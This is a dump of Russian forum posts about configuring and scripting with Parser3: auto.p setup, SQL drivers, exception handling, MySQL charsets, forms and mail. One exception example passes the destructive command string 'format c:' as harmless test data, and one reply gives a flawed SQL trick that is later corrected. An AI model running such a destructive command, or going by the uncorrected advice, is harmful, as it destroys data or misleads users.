oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
....\
$a[000000000000]\
для теста пытаюсь посмотреть содершимое ${a} где нибудь и ничего.\
\
Я так подозреваю что конфиг не читается. Где прописать чтобы он читался?\
"
"6919","результат выполнения @conf и @auto выбрасывается.\
не ожидайте увидеть что-либо.\
\
а проверить можно просто: \
[code]\
^throw[user;проверка]\
[/code]\
"
"6920","У версии 3.0005 иначе задаются настройки.\
Ранее нужно было делать два конфигурационный файла, теперь - один, и называется он иначе."
"6922","Попробовал ^throw[user;проверка] результат 0 ошибка\
Кстати попробовал как в доке\
\
@main\
$action[add1] \
^try{ \
   ^method[$action] \
}{ \
    Error\
} \
\
########################33333\
@method[command] \
^switch[$command]{ \
   ^case[add]{ \
      adding: \
   } \
   ^case[delete]{ \
      deleting: \
   } \
   ^case[DEFAULT]{ \
      ^throw[bad.command;$command;Wrong command $command, good are add&delete] \
   } \
} \
####################################3333333\
Когда команда првильная работает а когда нет ошибка, но это позже не поможете настроить MySQL?\
"
"6923","что до обработки исключений, внимательнее с докой, правильно так:\
\
[code]\
@main\
$action[add1] \
^try{ \
    ^method[$action] \
}{ \
    Error\
    $exception.handled(1)\
}\
...\
[/code]"
"6924","и всегда проверяйте тип исключения, мало ли что там внутри произошло, совсем необязательно, что было то, что вы думаете"
"6925","я так и не понял[злостно не пишите ничего]\
возникла ли ошибка?\
\
если не возникла, значит файл/метод не читается/не вызывается.\
приведите подробности относительно расположения auto.p"
"6926","$exception.handled(1) добавил результат тот же Error 500"
"6927","Иван, вы впервые упоминаете ошибку 500.\
так и будем в гадалки играть? приведите, copy+paste, что вы видите.\
опишите, что вам кажется тут неправильным."
"6928","Я так понял 500 у меня всегда выдается когда пасер нашол ошибку.\
А дальше я смотрю где ошибка в логе ошибок.\
Но в данном случае он там ничего не пишет по синтаксис а просто\
[Fri Sep 20 11:18:02 2002] [error] [client X.X.X.X] Premature end of script headers: /cgi-bin/parser3.cgi\
\
А вот текст:\
$action[add1] \
^try{ \
   ^method[$action] \
}{ \
    Error\
    $exception.handled(1)\
} \
\
########################33333\
@method[command] \
^switch[$command]{ \
   ^case[add]{ \
      adding: \
   } \
   ^case[delete]{ \
      deleting: \
   } \
   ^case[DEFAULT]{ \
      ^throw[bad.command;$command;Wrong command $command, good are add&delete] \
   } \
} \
####################################3333333\
Ошибка Если $action[add] все работае.\
\
"
"6929","А если вернуться к нашим баранам."
"6930","я проверил ваш пример на 0005 на win32, увидел error.\
вы уверены, что та строчка в логе относилась к этому действию?\
\
у меня ощущение, что вы в /cgi-bin/auto.p не переключили в @unhandled_exception с release на debug, видите что-то, что вам кажется стандартным сообщением об ошибке, потому, что не вчитываетесь.\
\
может так быть?"
"6931","Вот мой кофиг полностью. По поводу\
\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to \
those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
\
#for ^file::load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
@fatal_error[title;body]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<H1>$title</H1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception (Debug);\
\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
	<hr>\
	^stack.menu{\
		<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
	}\
}\
\
]\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
@unhandled_exception[exception;stack]\
^unhandled_exception_release[$exception;$stack]\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
#$SQL.connect-string[mysql://user:pass@host/db?charset=cp1251_koi8]\
#$SQL.connect-string[pgsql://user:pass@host/db]\
#$SQL.connect-string[oracle://user:pass@service?NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS]\
\
>>>  @unhandled_exception с release на debug,\
 ничего не понял из доков. Если можно поподробней.\
\
"
"6932","@main[] \
$action[format c:] \
^try{ \
   ^method[$action] \
}{ \
   ^if($exception.type eq bad.command){ \
      $exception.handled(1) \
      Неправильная команда '$exception.source', задана \
      в файле $exception.file, в $exception.lineno строке. \
   } \
} \
\
@method[command] \
^switch[$command]{ \
   ^case[add]{ \
      adding: \
   } \
   ^case[delete]{ \
      deleting: \
   } \
   ^case[DEFAULT]{ \
      ^throw[bad.command;$command;Wrong command $command, good are add&delete] \
   } \
} \
\
Так не работае по win32\
\
@method[command] \
^switch[$command]{ \
   ^case[add]{ \
      adding: \
   } \
   ^case[delete]{ \
      deleting: \
   } \
   ^case[DEFAULT]{ \
      ^throw[bad.command;$command;Wrong command $command, good are add&delete] \
   } \
} \
\
@main[] \
$action[format c:] \
^try{ \
   ^method[$action] \
}{ \
   ^if($exception.type eq bad.command){ \
      $exception.handled(1) \
      Неправильная команда '$exception.source', задана \
      в файле $exception.file, в $exception.lineno строке. \
   } \
} \
\
А так работает.\
\
Чудеса? или я сошел с ума."
"6934","первый пример выдаёт такое:\
\
Неправильная команда 'format c:', задана в файле c:/drives/y/parser3project/parser3/www/htdocs/paf.html, в 2 строке. "
"6935","mozhno li cherez $result makrosa vernut znacheniya peremennih, kotoriye opredelyayutsa i poluchayut znacheniye v tele macrosa?"
"6936","v macrose peremennim pridaetsa znacheniye, a v tom meste, gde ya etot macros vizval, ispolzovat eti peremenniye...tak mozhno?"
"6937","Я дурак.\
А как насчет MySQL?"
"6939","Пока переменная не объявлена локальной в методе - она глобальная для того класса, в котором определена."
"6940","в CVS уже лежит версия[только что доделал]\
где у есть возможность обратиться в вышестоящим переменным.\
как следует протестируем, и будем считать это дополнение самым важным в версии 3_0_0006."
"6941","Продолжая пример из документации.\
@main[] \
$a(20) \
$b(10) \
^sum[^eval($a+$b)] \
<hr> \
^sum{^if($a>$b){^eval($a+$b)}{^eval($a-$b)}} \
<hr> \
^sum(^if($a>$b){^eval($a+$b)}{^eval($a-$b)})\
\
@sum[c] \
^for[b](100;110){ \
   $c \
}[<br>] \
\
\
Возник вопрос какая разница между вызовом ^sum{} и ^sum().\
Нельзя ли какой-нибудь пример, где видна разница между ними?\
\
\
"
"6942","Т.е. я скопировал файлы проекта (\"project.p\" и \"project.html\"), на новую машину, где с нуля установил Денвер с соотвествующим модулем для парсера. Как я заметил, проблема при использовании ^use[], но точной причины пока не нашел. \
Практически такой же запрос из отдельного html вы полняется без нареканий. А в *.p файле отказались работать некторые функции (@методы[])\
Работаю на старой машине. Локализую баг - если это баг P^3, то сообщу."
"6943","в случае если переменная имеет значение \"/\", (т.е. напр. $dirname[/])\
то, следующий код возращает значание true \
[code]\
^if(-d $dirname)\
[/code]\
\
Иначе случае перебора директорий нужно отлавливать root dir :)\
\
"
"6944","вообще-то система иначе подходит к именам каталогов, ну да что делать.. perl считает \"name/\" каталогом.\
\
вообще-говоря, сейчас и /news/ это путь, а не имя каталога.\
и если нужно срочно, добавляйте в конец точку, \
[code]\
-d \"/news/.\"\
[/code]"
"6945","Объясните полному ламеру, как по шагам ставить Parser под FreeBSD. Если необходим Parser3 0005 для групп, то помогите скомпилить. В UNIX-системах я ни бе, ни ме, ни кукареку. Помогите, пожалуйста. Заранее благодарен.\
P.S.: все, что есть на сервере и в форуме уже испробовал - выдает сообщение \"Internal Error Server\""
"6948","Знающие люди помогите новичку.\
Значит так у меня на страничке может быть несколь форм\
я пишу \
1 форме. <form method=POST>\
2 форме. <form method=GET>\
А третей что писать \
пробовал <form method=GET name=\"test1\"> что не получилось.\
Как сделать?\
Заранее спасибо."
"6949","Постится только та форма, в которой нажат сабмит. \
(Браузеров, делающих иначе я не видел - если есть - дайте ссылку)"
"6950","Например я пишу\
       <form method=GET>\
         <INPUT TYPE=\"Hidden\" NAME=\"dates\" VALUE=\"pred\">\
         <INPUT TYPE=submit VALUE=\"<<\"  class=frm>\
       <form>\
       <form method=GET>\
         <Input type=\"hidden\" name=\"dates\" value=\"next\">\
         <INPUT TYPE=submit VALUE=\">>\"  class=frm>\
а передаются все параметры см строку.\
возврашается строка ..../?dates=pred&dates=next\
хотя должно быть dates= что нажали"
"6951","ставлю третий парсер под апач в виде Cgi. не указываю кодировку файлов на сервере и кодировку ответа. все работает. указываю кодировки - пишет неизвестная кодировка кои к примеру. указываю пути к файлом кодировок - не помогает. что делать? как делать? спасибо."
"6952","<form method=GET name=prev>\
<INPUT TYPE=\"Hidden\" NAME=\"dates\" VALUE=\"pred\">\
<INPUT TYPE=submit VALUE=\"<<\" class=frm>\
[b]</form>[/b]\
<form method=GET name=next>\
<Input type=\"hidden\" name=\"dates\" value=\"next\">\
<INPUT TYPE=submit VALUE=\">>\" class=frm>\
[b]</form>[/b]\
"
"6953","ИМХО, английский всё же намного легче читать, чем транслит. ;-)"
"6954","[url=\"/docs/lang/vars.htm\"]RTFM![/url]\
\
При использовании [] в переменную заносится [i]результат работы кода[/i], т. е. код выполняется только один раз, при вызове функции. \
При использовании {} в соответствующую переменную заносится [i]код[/i], который будет выполнятся каждый раз при выводе этой переменной. ;-)\
\
Пример:\
[code]\
@test[param]\
$param $param $param\
\
@main[]\
$i(0) ^test[^i.inc[]] $i == 1<br>\
$i(0) ^test{^i.inc[]} $i == 3\
[/code]"
"6955","Я не считаю, что есть какая-либо необходимость в программе миграции на парсер3, поэтому я не буду бесплатно дописывать её исходный код. Написанные мною советы довольно полно отражают ошибки, бегло увиденные мною при кратковременном тестировании p2tp3, и я не считаю что необходимо приводить какой-либо код к моему предыдущему сообщения в этой теме. "
"6959","Спасибо за разъяснение, эту проблему давно решил, еще в p^3.0001, (правда, довольно топорно – случае если $dirname eq '/', то такой вариант обрабатывался как исключение) но на будущее  хотелось бы это исправить. \
Как я понимаю, для p^ [color=\"silver\"]/[/color] – это путь к корневой (веб)  директории. Т.е. это директория без названия [color=\"silver\"]null[/color]/ и она всегда существует.\
Или я ошибаюсь?\
"
"6961","ну хэдер понятно\
клас майн запускается автоматически\
но как на счет футера\
я не хочу его вызывать из самих хтмл-ок\
в хтмл-ках будет одно содержимое\
заглавия и подписи для каждой страницы будут в бд\
"
"6964","ну вот выдвинули бы пожелание раньше, было бы и решено раньше.\
\
да, /, это DOCUMENT_ROOT [корень веб пространства], и он всегда существует."
"6965","ISO, приводимый вами пример не годится для понимания сути.\
да, одно общее есть: значение () и {} [b]одинакого[/b] вычисляется внутри вызова, впрочем, ваш пример и это не затрагивает.\
\
отличие в смысле того, что пишется внутри скобок, простой пример:\
[code]\
#(выражение)\
$a(1+2) \
a=$a\
#{код на parser}\
$b{1+2}\
b=$b\
[/code]\
это выдаст: \
a=4 \
b=1+2\
\
ну а в чём разница между {} и [] вы знаете."
"6966","распакуйте архив с конфигурационным методом в каталог с parser'ом.\
у вас должнен там появиться файл auto.p и каталог charsets.\
\
сейчас ошибка в том, что вы почему-то что-то указываете вручную, если бы вы всё распаковали, как описывалось в документации и разделе download, вам бы [b]не пришлось[/b] ничего указывать самому.\
\
ведь для удобства пользователей в поставку мы включили auto.p, подключающий и windows-1251 и koi8-r, и надо делать что-то руками только, если вам мало этих кодировок, и необходимы ещё."
"6967","дорогой Безымянный, очевидно, примеры писались не для вас.\
\
ну да ничего, вот вариант, которого там нет, и который вам, возможно, понравится:\
\
поместите такой auto.p в корень вашего сервера:\
[code]\
@postprocess[body]\
тут действия по выводу header'а\
$body\
тут действия по выводу footer'а\
[/code]\
при этом в .html файлы вашего сайта вы пишете только внутренность, и [b]никаких[/b] инструкций по включению header/footer."
"6968","Ещё пару вопросов по теме, если можно:\
- Нельзя ли как-то присвоить или передать методу числовое значение, которое не будет вычисляться каждый \
раз заново. Например ^sum(10). Нет ли в интерпретаторе Парсера специальной оптимизации, которая определяет\
или выражение в (...) содержит перменные, или выражение статитчно и не требует повтоврного вычисления.\
- Как лучше всего работать с булеановыми переменными? Какой из 2-ух вариантов эффективнее:\
\
$a[1]\
^if($a){ok}\
\
$a(1)\
^if($a){ok}"
"6969","тут у вас полная свобода действий. например, можно так:\
[code]\
@method[avalue]\
#вычисляем сложное выражение, один раз\
$value($avalue)\
#чтобы в последующих вызовах использовать уже вычисленное\
^subcall1($value)\
^subcall2($value)\
[/code]\
\
это — плата за гибкость, ведь выражение может быть фильтром итератора, скажем, если захотите сделать свой какой-то хитрый while…\
\
и в то же время, parser позиционируется как язык скриптования сайтов, а не как fortran, подразумевается, что использовать числовой параметр функции нужно чаще 1 раз, чем 100 [а если нужно 100, есть очевидное решение].\
\
ясно, что parser не может прочесть мысли скриптовальщика: он не знает, нужна вам зависимость выражения значения переменных на момент его вычисления или нет."
"6970","конечно с числом.\
ещё эффективнее проверка с bool типом:\
[code]\
$condition(1>0)\
^if($condition){OK}\
[/code]\
\
прим: возможно, и в нашем языке нужны литералы true/false, но я пока не вижу в них большой нужды [точно надо=добавлю]."
"6971","Ситуация следующая.\
Сервер MySQL установлен не там где пасер.\
Пасер на FreeBSD 4.5 (уверен) MySQL под Windows 2000\
Файлы libmysqlclient.so и libparser3mysql.so лежат в cgi-bin/lib/\
cgi-bin/parser3.cgi\
Пасер работает но не хочет подрубаться к MySQL\
строка подключения следующая\
$connect_string[mysql://user:***@XXX.XXX.XXX.XXX:3306/news?named_pipe=1]\
user - это пользователь\
*** - пароль\
База news есть и работает\
Обращаюсь так \
   ^connect[$connect_string]{ \
      ^void:sql{insert into news \
         (_date, _header, body) \
      values  \
         ('$form:date', '$form:header', '$form:body') \
      } \
Ошибку дает следующию\
/auto.p(4): 'mysql://user:***@XXX.XXX.XXX.XXX:3306/news?named_pipe=1' $SQL:drivers table must be defined [parser.runtime]\
\
Помогите разобраться. Спасибо.\
\
P.S. Чем больше я сижу в пасере тем все больше он мне нравится.\
Молодцы, вешь сделали.\
"
"6972","иван, что вам даёт чтение текста на заглавной странице справа?"
"6973","Пробовал перекомпилировать но прцесс компилирования не был удачным\
после make\
....\
make  all-recursive\
Making all in libltdl\
make: don't know how to make ../../parser3/src/sql/pa_sql_driver.h. Stop\
*** Error code 1\
\
Ну что я делаю не правильно?"
"6974","если auto.p принадлежит не той группы, что процесс с parser cgi, то да, это всё имеет смысл.\
но по той же причине не считался бы и основной .html файл. \
но ведь он читается[раз выдаёт осмысленную ошибку], что мешает сделать у конфигурационного auto.p ту же группу, что и у всех файлов сайта?\
\
диагноз: не нужно ничего пересобирать, и почему конкретно сейчас что-то ругается, несущественно."
"6975","Вроде все в одной группе\
делал так: chown -R user cgi-bin\
результат нет \
"
"6976","группе, не пользователю."
"6977","parser3.cgi.core\
Вот как с этим бороться?\
"
"6979","если я правильно понял:\
1. вы не пересобирали ничего.\
2. на простом коде работы с mysql сервером падает в core\
\
пришлите, пожалуйста, мылом [b]все[/b] детали, попробую понять."
"6981","[code]\
<form name=\"save\" method=\"post\" enctype=\"multipart/form-data\">\
<input type=file name=\"picture\">\
<input type=submit>\
</form>\
\
^if(def $form:picture){\
\
^picture.save[binary;zzzzzzzzzzzzzzz.zzz]\
}[/code]"
"6982","void) not a method or junction, can not call it\
save\
\
C:/WEB/maximatour/admin/addimg.html(19)\
exception.type=parser.runtime "
"6986","@auto[]\
$TABLENAME[table]\
^connect[mysql://@localhost/${TABLENAME}?charset=cp1251_koi8]{}\
\
\
\
ошибка:\
$SQL:drivers table must be defined\
mysql://@localhost/maximatour?charset=cp1251_koi8\
\
C:/WEB/maximatour/auto.p(4)\
exception.type=parser.runtime "
"6988","У меня не работает парсер в офф лайне!!! у меня стоит сервер апач а конкретно(название файла)apache_1.3.26-win32-x86-no_src.exe. Я создал .htaccess в корневом каталоге, все как написано!!! а ОНО НЕ ПАШЕТ!!!  ЧТО ЖЕ МНЕ ДЕЛАТЬ, ЧЕБУРАШКА У КОТОРОГО НЕТ ДРУЗЕЙ...."
"6989","1. Для начала ответь, Русский он, или буржуйский, если Русский, то можеш не отвечать я его ни разу не видел :)\
\
2. Там ли ты создаеш .htaccess, если там, то все по любому должно заработать!\
\
А вообче Парсер штука привиредливая и не любит когда не коолпрофи её ставит, хотя с каждым обновлением сложность уменьшается :)"
"6990","В Apache/conf/httpd.conf нужно заменить \"AllowOverride None\" на \"AllowOverride All\" (обязательно только в строчке ~342, в остальных строчках заменить можно, но не обязательно/не желательно). \
\
Как ты открываешь документ написанный на парсере -- нужно по http://localhost/ или http://127.0.0.1/ . Если по этим адресам у тебя ничего не открывается, значит проблема в установке Apache'а (может файл перекаченный забыл запустить для начала установки? :). "
"6991","Некоторое время назад у меня был глюк с кодировками в MySQl базе.\
К примеру слово \"ВАЗ\" у меня было эквивалентно слову \"БАЗ\", \"ДАЗ\" и т.д.\
PAF посоветовал перекодировать базу в windows-1251 путем добавления в sql запрос строки\
	set character set cp1251_koi8.\
И строку\
	$connect_string[mysql://root:root@localhost/database]\
изменить на\
	$connect_string[mysql://root:root@localhost/database?charset=cp1251_koi8]\
\
Так я и сделал.\
Проблема с \"ВАЗ\", \"БАЗ\", \"ДАЗ\" исчезла, но появилась другая похожая.\
\
Делаю поиск того же ваз, только теперь маленькими буквами.\
И получаю вместо найденого слова \"ВАЗ\" слова \"телевизор\" и \"база\". Я так понимаю он выделил из этих слов \"виз\" \
\
и \"баз\".\
С английскими символами такой проблемы не существует. Ищешь \"lg\" и находишь \"LG\".\
Запрос на поиск выглядит примерно таким образом:\
	^table::sql{\
		select id, field1, field2\
		from database\
		where field1 like '%$form:search%' or field2 like '%$form:search%'\
		order by id desc\
	}\
\
Дамп и импорт я делал с помощью DBTools."
"6992","Когда у меня были схожие проблемы, я особо не заморачивался и просто проверял в ^.menu{}шном переборе результатов поиска через ^match[] \
\
Т.е. если находим то, что искали - выдаем, если сбой MySQL или что-то еще другое - то не выдаем. Потом я добавлял поиск по синонимам подобным образом только через ^lsplit[] и аддил в данную таблицу результы серча с синонимами...\
\
Просто и без заморочек - вроде бы работает..."
"6995","[code]\
 ^mail:send[\
    $.content-type[ \
       $.value[text/plain]  \
       $.charset[koi8-r] \
    ] \
    $.charset[koi8-r] \
 \
    $.from[admin@email.ru]\
    $.to[^mails.menu{email@email.ru}[ ]]\
    $.subject[Тема]\
    $.body[\
       Тескт      \
    ]\
 ]  \
\
[/code]"
"6996","[code]\
^mail:send[ \
    $.content-type[\
       $.value[text/plain]  \
       $.charset[koi8-r] \
    ]\
\
      $.charset[koi8-r] \
\
      $.from[$MAINNAME <$MAINEMAIL>] \
      $.to[$answers.user <$answers.email>] \
      $.subject[Ответ на вопрос: \"$answers.text\"] \
      $.body[$form:text] \
]\
[/code]\
\
Заголовок приходит нормально, а вот тело...:\
?=\"\
content-type:text/plain; charset=koi8-r\
from:=?koi8-r?Q?=ED=C1=CB=D3=C9=CD=C1=D4=D5=D21?= <bitmag@ukr.net>\
to:Bitmag <bitmag@mail.ru>\
\
asdfasdfasdf\
"
"6997","Народ спасайте. Держаться нету больше сил.\
\
Пытаюсь добавить запись в табличку MS-Access'2002.\
Табличка Test. Два поля Id(AutoNumber), Fld(Text).\
Независимо от того какие имена полей я пишу, я всегда получаю одну и ту же ошибку:\
'insert into Test (Id, Fld) values (1, 'Test') ' CDBException: Operation must use an updateable query.| [sql.execute]\
\
Т.е. такую ошибку дают такие запросы:\
insert into Test (Id, Fld) values (1, 'Test')\
insert into Test (Id, asdf, Fld) values (1, 123, 'Test')\
insert into Test (asdf) values (1234)\
insert into Test (Fld) values ('asdf')\
insert into Test (Test.Fld) values ('')\
insert into Test ([Fld]) values ('')\
\
Выборка из этой таблички работает нормально.\
\
P.S.\
Прошу прощение за ламерство.\
\
Заранее благодарен,\
One\
"
"6998","\
  Апач у мя Буржуйский, а .htaccess у меня лежит везде:\
  1)корневой каталог\
  2)корень апач(apache group\\Apach\\.htaccess\
  3)папка cgi-bin\
  4)папка конфигурационных файлов(apache/conf/.htaccess\
\
  я больше не знаю куда его пихать!!!!"
"7000","Я прописал в файле httpd.conf allowoveride All, распихал во все места файл .htacces, и неичего не работает!!!!! вместо меню навигации(из раздела \"в действии\") он мне показывает ^navigation[]!!!!!! Что же мне делать, чебурашка у которого нет друзей!"
"7001","Я установил парсер на сервер Apache. Прописал все строчки в конфигурационных файлах, но мне кажеться, что парсер не перехва-\
тывает файлы для обработки. Что делать?\
"
"7002","читаешь мануал, смотришь еррор-лог, ищешь по форуму, а потом уже задаёшь вопросы."
"7003","не умеет LIKE правильно работать с русским текстом. :-( выдаёт все время туфту."
"7004","Часто бывает что поле id делают счетчиком т.е. его сама БД заполняет при вставке записей, ну и естественно если ты попытаешься сам чего-нить туда сунуть тебе вылезет error"
"7005","Здравствуйте, сначало хочу сказать спасибо создателям парсера - вещь классная, делает всё как надо и даже лучше. Сегодня за ночь написал столько же сколько на С++ 2 дня писать мог, но только вот пока писал перегрелся похоже, что то ни как не соображу как просто проверить наличие файла на сервере в текущей директории, я пишу так \
\
^if(def $form:link){\
\
$urik[^file:find[$form:link]{no_such_file}]\
\
^if($urik ne no_such_file){\
$f[^file::load[binary;$urik]]\
$f.text\
}{If you can see this message it means that the requested file $urik was deleted or removed.}\
}{\
$f[^file::load[binary;root.txt]]\
^untaint[as-is]{$f.text}\
}\
\
но точно знаю что наверняка можно проще.\
Подскажите..."
"7006","1. добавка ?charset=cp1251_koi8 к строке соединения с mysql сервером заставляет parser mysql драйвер сразу после соединения выполнять необходимую команду, т.о. можно set character set не писать.\
\
2. надо чётко понять, в какой кодировке mysql-сервер работает со строками, и, конечно, знать, в какой кодировке находятся документы вашего веб-сервера.\
\
обычно mysql-сервер собирают с кодировкой koi8-r\
обычно веб-сервер работает в кодировке windows-1251.\
\
отсюда необходимость использования\
[code]\
mysql://...?charset=cp1251_koi\
[/code]\
\
ещё раз: [b]в базе при этом должно лежать в koi8-r[/b]. если вы какое-то время поработали с базой без перекодирования, то в базу попало в кодировке веб-сервера, т.е., обычно, в windows-1251, и работать с такими данными нельзя.\
их нужно mysqldump>dump.sql, перекодировать windows->koi, mysql<dump.sql, и только [b]после этого[/b] работать"
"7007","Извините за оффтопик, но вдруг кто знает и ответит...\
\
Не присоветуете ли freeware-программу под Windows, умеющую раз в N минут делать снимок с вебкамеры и закачивать его в заданное место по HTTP (не FTP). Облюбованная мной http://www.hilo.dk/pryme/ умеет только по FTP, майкрософтовская TimerShot глючит... \
"
"7008","http://www.parser.ru/docs/lang/opsfd.htm"
"7009","друзья, написал не проверив, сыплю пепел. просьба не бить сильно. миша придёт, квалифицированнее ответит."
"7010","ньюсы обновляются ежеНЕДЕЛЬНО\
\
1) делать по-недельный календарь?\
2) --//-- по-месячный\
3) выводить постинги как в гостевухе?\
4) a la AB.LV - все на одну страницу\
"
"7011","При генерации новостных ушек хочу выбирать случайным образом из БД новости последние 5 новостей\
Если порядковые номера в базе 1-5 понятно random(5), а если выбираешь select-ом, может получиться например\
45-50. Как выбрать случайное число от от 45 до 50 (включая концы). Заранее благодарен."
"7012","надо:\
\
SELECT * FROM news ORDER BY date, RAND() LIMIT 0,5\
\
выбираются 5 последних случайных записей"
"7013","так вроде не слишком сложно(может еще и упростит кто?, хотя не пойму зачем рандом на выдаче новостей) селектишь в таблицу последние 5 новостей и потом дергаешь рандомом одну\
вроде так\
"
"7014","1. календарь\
2. форма для выбора даты с... по .... число"
"7015","WebCamXP\
ConquerCam\
\
по мне так TimerShot вполне неплохой."
"7016","насколько я помню (была у меня давно на ASP такая ошибка)\
\
надо в свойствах файла таблицы подкрутить NTFS security."
"7017","Пишу и почему-то ничего не выбирается\
\
$news[^table::sql{select \
    id, date, header, source, shortimage\
  from\
    news\
  where\
    date<='${now.year}-${now.month}-${now.day}' and date>='${now.year}-${now.month}-${now.day-5}'\
  order by date desc, rand() limit 0,5 \
\
^if($news){\
   $newsphoto[^image::measure[$news.shortimage]] \
   <a href=\"/topic/politic/politic.html?n_no=$news.id\">\
     <img src=\"$newsphoto.src\" width=\"$newsphoto.width\" height=\"$newsphoto.height\" border=\"1\" hspace=\"5\" vspace=\"0\" align=\"left\" alt=\"$news.header\">\
      </a>\
   }{\
   <h4>Error!</h4>\
  }\
}\
\
	"
"7018","1. select * лучше не использовать, а конкретно указывать нужные столбцы\
\
2. LIMIT это работает только для mysql и не будет работать например в MS SQL, что тоже не есть хорошо."
"7020","елы палы понятно что я написал * для примера - я же не знаю какие у него столбцы там?\
\
для MS SQL \
SELECT TOP 5 ..."
"7021","date<='${now.year}-${now.month}-${now.day}' and date>='${now.year}-${now.month}-${now.day-5}'\
\
вот это условие зачем? убери."
"7023","ConquerCam - платная, 10$, умеет только ftp uploads,\
WebCamXP - тоже платная, тоже FTP, зачем-то включает в себя http-сервер (тоже мне, апачи...)\
\
Другие кандидаты есть? Чтобы без \"бантиков\" - снимать раз в час, пририсовывать сверху дату/время и класть на сервер по HTTP, а не FTP, и не просить денег. Пожаа-аалуйста...\
\
"
"7024","все время выдает только одно собщение"
"7026","Сто пудов!!! Так и было.\
\
У меня и у System права были все. Но parser работает через Everyone. Добавил ему прав - попустило.\
\
Большое спасибо!"
"7028","Понимаешь, я хочу сделать вроде анонса новостей. Т.е. при каждом новом заходе на страницу выдается новый анонс новости а примоугольнике(img+text) Новости пополняются не каждый день Для этого надо каждый раз брать из пяти последних 5 новостей случайным образом одну из них. И почему-то не получается"
"7029","как этот лимит работает? сдаётся мне, что скл запрос выбирает _все_ записи, а парсер потом ограничивает. это не оптимально."
"7031","Первое понятно, как сделать второе. Если можно пример, так как мой код почесу-то не работает:\
  $news[^table::sql{select \
    id, date, header, source, shortimage\
   from\
    politic\
   where\
    date<='${now.year}-${now.month}-${now.day}' and date>='${now.year}-${now.month}-${now.day-5}'\
   order by date desc, rand() limit 5 \
  }] \
"
"7032","[quote]\
Преждевременная оптимизация корень всех зол\
[/quote]\
Д. Кнут"
"7033","в MySQL одним запросом такое не сделаешь. Нужно два шага: выбираешь последние пять, из этих пяти средствами парсера - случайно одну.\
\
если бы MS SQL - другое дело. там есть подзапросы."
"7034","и такую задачу лучше решить средствами парсера.\
\
1. Выбираешь последние 5 записей (как показал ПАФ несколькими строчками выше)\
\
2. Из полученной таблицы средствами парсера дергаешь произвольную запись и выводишь её."
"7035","$news[^table::sql{select \
   id, date, header, source, shortimage\
 from\
   news\
 order by date desc\
}[$.limit(5)]] \
\
^if(^news.locate[id;^math:random(5)]){\
 ^if($news){\
   dfdgf  \
  }{\
   <h4>Error!</h4>\
   }\
  }{\
   no}\
"
"7036","тебе уже сказали, что от этого сильно зависит код\
мог бы и расколотся на название сервака ;)\
зачем тебе цикл?\
у нас вроде random никто не отменал(спасибо PAF`y)\
вот пример из P^2 под MySQL(просто из старых вещей, а вообще-то на форуме 2-го много чего на предмет алгоритмов накопать можно)\
[code]\
^context[rand_news;\
^macro[serv;^sql[select img, header from news order by id desc limit 5]]\
^shift[^random[^item[count]]]\
^macro[vyvod_news;^item[header];^item[img]]\
]\
[/code]\
в macro[vyvod_news] подставляются куда надо хидер и картинка\
\
так понятно??"
"7037","а заморочки с LIMIT, TOP, subqueries и т.д. специфичны для конкретной СУБД и при переезде на другую надо всё переделывать, что конечно добавляет острых ощущений в нашу жизнь, но лучше я их поищу где-нибудь в другом месте :)."
"7038","в CVS положен вариант, при котором вот это:\
будет формировать test2 с той же секундой, что test1.\
до этого бывало, что секунда отличалась на -1.\
\
[code]\
$test1[^date::now[]]\
$test2[^date::create($test1)]\
\
^eval($test1)[%.40f] ^test1.sql-string[]<br>\
